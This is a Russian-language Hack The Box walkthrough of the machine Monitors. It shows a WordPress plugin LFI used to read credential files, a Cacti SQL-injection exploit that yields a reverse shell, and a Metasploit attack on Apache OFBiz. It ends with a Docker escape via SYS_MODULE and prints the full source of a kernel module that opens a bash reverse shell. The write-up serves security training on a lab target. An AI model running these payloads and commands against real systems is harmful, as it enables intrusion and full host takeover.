Хакер - HTB Monitors. Применяем еще один способ побега из Docker

Хакер - HTB Monitors. Применяем еще один способ побега из Docker

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка. Сканирование портов
  • Точка входа
  • Сканирование WordPress
  • Уязвимость LFI
  • Точка опоры
  • Продвижение
  • Получение флага пользователя
  • Погружение в Docker
  • Локальное повышение привилегий

В этой статье я покажу про­хож­дение слож­ной машины Monitors с пло­щад­ки Hack The Box. Мы пос­каниру­ем сайт на WordPress, получим RCE в CMS Cacti, про­экс­плу­ати­руем дыру в Apache OFBiz и, наконец, сбе­жим из Docker с мак­сималь­ными при­виле­гиями бла­года­ря SYS_MODULE. Поеха­ли!

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.10.238 monitors.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ви­дим два откры­тых пор­та: 22 (служ­ба SSH) и 80 (веб‑сер­вер Apache 2.4.29). На веб‑сер­вере работа­ет WordPress 5.5.1, с его иссле­дова­ния мы и нач­нем.

ТОЧКА ВХОДА

Сканирование WordPress

Тес­тировать сай­ты на WordPress удоб­нее все­го ути­литой WPScan. С ее помощью мож­но обна­ружить уяз­вимые вер­сии самого WordPress, тем и пла­гинов, а так­же соб­рать име­на поль­зовате­лей и переб­рать учет­ные дан­ные. В общем, все, что может понадо­бить­ся! Перед началом ска­ниро­вания советую зарегис­три­ровать­ся на офи­циаль­ном сай­те WPScan и получить токен API. Тог­да ути­лита будет авто­мати­чес­ки про­верять най­ден­ные стра­ницы на уяз­вимос­ти. Нам даже пре­дос­тавят ссыл­ку на отчет или готовый экс­пло­ит!

Ча­ще все­го уяз­вимы пла­гины, поэто­му я зарядил их перебор (опция -e ap) в агрессив­ном режиме (опция --plugins-detection aggressive), исполь­зуя 128 потоков (опция -t):

wpscan --url http://monitors.htb -e ap --plugins-detection aggressive -t 128 --api-token [token]

Об­наружен­ные пла­гины

Пот­ратив нес­коль­ко минут, мы получа­ем отчет, в котором нап­ротив най­ден­ного в агрессив­ном режиме пла­гина сто­ит помет­ка «1 vulnerability identified». Зна­чит, на целевом сай­те уста­нов­лен уяз­вимый пла­гин Spritz 1.0. Заод­но нам дали ссыл­ку на Exploit-DB, где есть опи­сание уяз­вимос­ти. Но если у тебя спе­циали­зиро­ван­ный дистр вро­де Kali Linux, то база ExploitDB уже есть на тво­ем дис­ке и ты можешь исполь­зовать ути­литу searchsploit, что­бы искать по ней.

searchsploit 44544

searchsploit -p php/webapps/44544.php

Экс­пло­ит в локаль­ной базе searchsploit
Опи­сание экс­пло­ита 44544 для пла­гина Spritz 1.0

Из опи­сания экс­пло­ита мы видим, что пла­гин уяз­вим к LFI — локаль­ному вклю­чению фай­лов.

Уязвимость LFI

В опи­сании уяз­вимос­ти находим и инс­трук­цию по экс­плу­ата­ции. Давай про­верим уяз­вимость, про­читав файл /etc/passwd.

curl http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd

Со­дер­жимое фай­ла /etc/passwd

Так как на хос­те раз­вернут веб‑сер­вер, а на нем работа­ет целая CMS, то пер­вое наше дей­ствие — это поп­робовать получить учет­ные дан­ные поль­зовате­лей. Высока веро­ятность, что эти учет­ные дан­ные подой­дут и при логине в сис­тему. В слу­чае с WordPress искать сле­дует в фай­ле с нас­трой­ками для под­клю­чения к базе дан­ных wp-config.php.

curl "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//var/www/wordpress/wp-config.php"

Учет­ные дан­ные для под­клю­чения к базе дан­ных

Я сра­зу поп­робовал этот пароль для авто­риза­ции в WordPress в качес­тве адми­на, но это не при­нес­ло никаких резуль­татов. Так как мы можем читать фай­лы с хос­та, поищем этим спо­собом дру­гую точ­ку вхо­да. У меня есть два спис­ка (для Windows и Linux) фай­лов, который сто­ит про­верять. Фаз­зить будем с помощью Burp Intruder.

Вклад­ка Burp Intruder — Position
Ре­зуль­тат ата­ки

Мы натыка­емся на файл кон­фигура­ции Apache /etc/apache2/sites-enable/000-default.conf, где находим поль­зовате­ля admin@monitors.htb. Вир­туаль­ный хост cacti-admin.monitors.htb сра­зу добав­ляем в /etc/hosts, а потом смот­рим. Нас встре­чает фор­ма авто­риза­ции.

10.10.10.238 cacti-admin.monitors.htb

Фор­ма авто­риза­ции

ТОЧКА ОПОРЫ

Ав­торизо­вать­ся получа­ется как поль­зователь admin с паролем BestAdministrator@2020!, который слу­жил для под­клю­чения к базе дан­ных.

Стар­товая стра­ница сай­та

Нас встре­чает сис­тема управле­ния кон­тентом под наз­вани­ем Cacti, при­чем мы сра­зу видим ее вер­сию — 1.2.12. А раз у нас сно­ва готовый про­дукт, мы опять поищем готовые экс­пло­иты при помощи searchsploit.

searchsploit "Cacti 1.2.12"

searchsploit -p php/webapps/49810.py

По­иск экс­пло­ита с помощью searchsploit

На­ходим экс­пло­ит имен­но для этой вер­сии Cacti. Он экс­плу­ати­рует SQL-инъ­екцию. Пос­ле пер­вого запус­ка узна­ем, что он дол­жен дать нам реверс‑шелл. Нуж­но ука­зать лишь адрес сво­его хос­та и порт для обратно­го под­клю­чения.

Справка: реверс-шелл

Об­ратный шелл — это под­клю­чение, которое акти­виру­ет ата­куемая машина, а мы при­нима­ем и таким обра­зом под­клю­чаем­ся к ней, что­бы выпол­нять коман­ды от лица поль­зовате­ля, который запус­тил шелл. Для при­ема соеди­нения необ­ходимо соз­дать на локаль­ной машине listener, то есть «слу­шатель».

В таких слу­чаях при­годит­ся rlwrap — readline-обо­лоч­ка, которая в чис­ле про­чего поз­воля­ет поль­зовать­ся исто­рией команд. Она обыч­но дос­тупна в репози­тории дис­три­бути­ва.

apt install rlwrap

В качес­тве самого лис­тенера при этом мож­но исполь­зовать широко извес­тный netcat.

rlwrap nc -lvp [port]

А теперь выпол­ним экс­пло­ит. Переда­ем адрес хос­та и учет­ные дан­ные, а так­же адрес локаль­ного хос­та и порт для обратно­го под­клю­чения. Пос­ле запус­ка сра­зу же получим бэк­коннект.

python3 49810.py -t http://cacti-admin.monitors.htb -u admin -p 'BestAdministrator@2020!' --lhost 10.10.14.126 --lport 4321

За­пуск экс­пло­ита
Бэк­коннект в лис­тенере

ПРОДВИЖЕНИЕ

Получение флага пользователя

Итак, мы получи­ли шелл. Най­ти нап­равле­ния для повыше­ния при­виле­гий нам в оче­ред­ной раз помогут скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

Что­бы вос­поль­зовать­ся скрип­том, его нуж­но сна­чала заг­рузить на локаль­ный хост.

wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

Так как на сер­вере отсутс­тву­ют прог­раммы curl и wget, мы не можем заг­рузить файл с локаль­ного веб‑сер­вера. Тог­да будем исполь­зовать netcat. На сер­вере откро­ем лис­тенер и уста­новим лимит ожи­дания пять секунд, при этом весь вывод перенап­равим в файл.

nc -lp 5432 -w 5 > /tmp/linpeas.sh

На локаль­ном хос­те под­клю­чим­ся к лис­тенеру и запишем туда наш скрипт.

cat linpeas.sh | nc 10.10.10.238 5432

На выходе получа­ем огромное количес­тво информа­ции. Изу­чим ее и отме­тим важ­ные для нас вещи:

  • Нам дос­тупен runc.
  • Есть запущен­ный Docker.
  • Есть прос­лушива­емые толь­ко на локаль­ном хос­те пор­ты.
  • Нам дос­тупны фай­лы из домаш­ней дирек­тории поль­зовате­ля.
  • Есть инте­рес­ный файл cacti-backup.service.
Дос­тупные Docker и runc
Фай­лы в домаш­ней дирек­тории поль­зовате­ля
Прос­лушива­емые пор­ты
Фай­лы бэкапов

Нач­нем с пос­ледне­го пун­кта и гля­нем файл /lib/systemd/system/cacti-backup.service.

Со­дер­жимое фай­ла cacti-backup.service

От­сюда мы узна­ем, что от име­ни поль­зовате­ля www-data запус­кает­ся скрипт /home/marcus/.backup/backup.sh.

Со­дер­жимое фай­ла backup.sh

В скрип­те находим учет­ные дан­ные. А най­дя новый пароль, сра­зу же про­веря­ем его вез­де. Так мы авто­ризу­емся по SSH от име­ни поль­зовате­ля marcus.

Флаг поль­зовате­ля

Погружение в Docker

Итак, мы выяс­нили, что на машине работа­ет Docker, а так­же есть прос­лушива­емые для localhost пор­ты. Для начала опре­делим, за что отве­чает порт 8443. Выпол­ним под­клю­чение к пор­ту с помощью netcat. Ког­да нам не отве­тят, отпра­вим зап­рос GET HTTP. На этот раз ответ есть.


nc 127.0.0.1 8443

GET / HTTP

Под­клю­чение к пор­ту 8443

Кро­ме того, нам сооб­щают, что сер­вер работа­ет по про­токо­лу HTTPS. Давай про­кинем порт с помощью SSH и будем тун­нелиро­вать тра­фик с локаль­ного пор­та 8443 на порт 8443 сер­вера. Пос­ле чего обра­тим­ся к уда­лен­ному сер­вису по адре­су https://127.0.0.1:8443/ через бра­узер.

ssh -L 8443:127.0.0.1:8443 marcus@10.10.10.238

Стар­товая стра­ница сай­та

Нас встре­чает ошиб­ка 404, но нас это не оста­новит. Поп­робу­ем прос­каниро­вать фай­лы и дирек­тории. Возь­мем спи­сок common.txt из набора кру­тых спис­ков Seclists. А для перебо­ра я исполь­зую тот же Burp Intruder.

Ре­зуль­тат перебо­ра катало­гов

Наш­лось мно­го стра­ниц, которые отве­чают редирек­том. Перей­дем на одну из них и получим фор­му авто­риза­ции Apache OFBiz.

Стар­товая стра­ница сай­та

Apache OFBiz — это фрей­мворк, который обес­печива­ет под­дер­жку общей модели дан­ных для боль­шого набора биз­нес‑про­цес­сов. Все при­ложе­ния стро­ятся вок­руг еди­ной архи­тек­туры, исполь­зующей общие ком­понен­ты для дан­ных, логики и про­цес­сов. Так как мы наш­ли новую тех­нологию, мы прос­то обя­заны сра­зу же про­верить наличие готовых экс­пло­итов.

По­иск докумен­тирован­ных уяз­вимос­тей в Apache OFBiz

Так мы находим уяз­вимость, име­ющую иден­тифика­тор CVE-2020-9496. Идея в том, что поль­зователь, не про­шед­ший про­вер­ку под­линнос­ти, может вос­поль­зовать­ся этой уяз­вимостью, отпра­вив вре­донос­ный HTTP-зап­рос, содер­жащий соз­данную полез­ную наг­рузку XML в теле HTTP-зап­роса (OFBiz исполь­зует уяз­вимые вер­сии биб­лиотек Apache Commons BeanUtils и Apache ROME).

Экс­плу­ата­ция этой уяз­вимос­ти может при­вес­ти к уда­лен­ному выпол­нению кода (RCE) в кон­тек­сте поль­зовате­ля, запус­кающе­го при­ложе­ние. По иден­тифика­тору находим уже реали­зован­ный в Metasploit Framework экс­пло­ит.

search CVE-2020-9496

По­луче­ние экс­пло­ита в Metasploit Framework

Вы­бира­ем дан­ный модуль в Metasploit Framework, затем запол­няем зна­чение парамет­ров: адрес хос­та и порт, а так­же тип наг­рузки. В качес­тве наг­рузки я выб­рал ста­биль­ный Meterpreter для Linux x64.

msfconsole

use exploit/linux/http/apache_ofbiz_deserialization

set RHOSTS 127.0.0.1

set RPORT 8443

set payload linux/x64/meterpreter/reverse_tcp

set LHOST tun0

set LPORT 6543

set forceexploit true

run

По­луче­ние шел­ла Meterpreter

Та­ким обра­зом мы про­ника­ем в Docker и работа­ем в кон­тек­сте поль­зовате­ля root.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Итак, мы — рут, но в «Докере». Мож­но сно­ва запус­кать скрипт типа LinPEAS, но в слу­чае с докер‑кон­тей­нером советую исполь­зовать дру­гой скрипт для раз­ведки — Deepce. Он ищет пути повысить при­виле­гии или сбе­жать из Docker и даже про­веря­ет некото­рые экс­пло­иты. Заг­рузим его средс­тва­ми Metasploit, получим шелл, дадим пра­ва на выпол­нение и запус­тим.

upload ~/tmp/deepce.sh /tmp

shell

chmod +x /tmp/deepce.sh

/tmp/deepce.sh

Ре­зуль­тат работы Deepce

Ви­дим под­све­чен­ную при­виле­гию SYS_MODULE. Иног­да при­ложе­нию в «Докере» может пот­ребовать­ся выпол­нить при­виле­гиро­ван­ную опе­рацию для работы. Тог­да Docker поз­воля­ет поль­зовате­лю добавить в кон­тей­нер допол­нитель­ные при­виле­гии (нап­ример, SYS_MODULE). В этом слу­чае при­ложе­ния, выпол­няемые обыч­ным поль­зовате­лем, смо­гут совер­шать при­виле­гиро­ван­ные опе­рации без пре­дос­тавле­ния им всех прав рута.

В дан­ном слу­чае при­виле­гия SYS_MODULE поз­воля­ет кон­тей­неру добав­лять или уда­лять модули ядра хос­товой сис­темы. Это поз­воля­ет нам исполь­зовать сле­дующий экс­пло­ит (в реверс‑шелл встав­ляем адрес хос­товой сис­темы):

#include <linux/kmod.h>

#include <linux/module.h>

MODULE_LICENSE("");

MODULE_AUTHOR("");

MODULE_DESCRIPTION("");

MODULE_VERSION("");

char* argv[] = {

"/bin/bash",

"-c",

"bash -i >& /dev/tcp/172.17.0.1/8765 0>&1",

NULL

};

static char* envp[] = {

"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",

NULL

};

static int __init reverse_shell_init(void) {

return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);

}

static void __exit reverse_shell_exit(void) {

printk(KERN_INFO "Exiting\n");

}

module_init(reverse_shell_init);

module_exit(reverse_shell_exit);

Фун­кция call_usermodehelper исполь­зует­ся для соз­дания про­цес­сов поль­зователь­ско­го режима из прос­транс­тва ядра и при­нима­ет три аргу­мен­та: argvenvp и UMH_WAIT_EXECUMH_WAIT_EXEC зас­тавля­ет модуль ядра ждать, пока заг­рузчик выпол­нит прог­рамму. Ниже при­вожу Makefile.

obj-m +=exploit.o

all:

make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:

make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

За­киды­ваем и exploit.c, и Makefile в Docker, а затем собира­ем коман­дой make.

Стар­товая стра­ница сай­та

Те­перь в сес­сии SSH от име­ни поль­зовате­ля markus запус­каем лис­тенер:

nc -lvp 8765

Те­перь заг­ружа­ем модуль ядра в докере и ловим бэк­коннект.

insmod exploit.ko

Флаг рута

Поз­драв­ляю, мы толь­ко что зах­ватили машину и име­ем над ней пол­ный кон­троль.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei

Report Page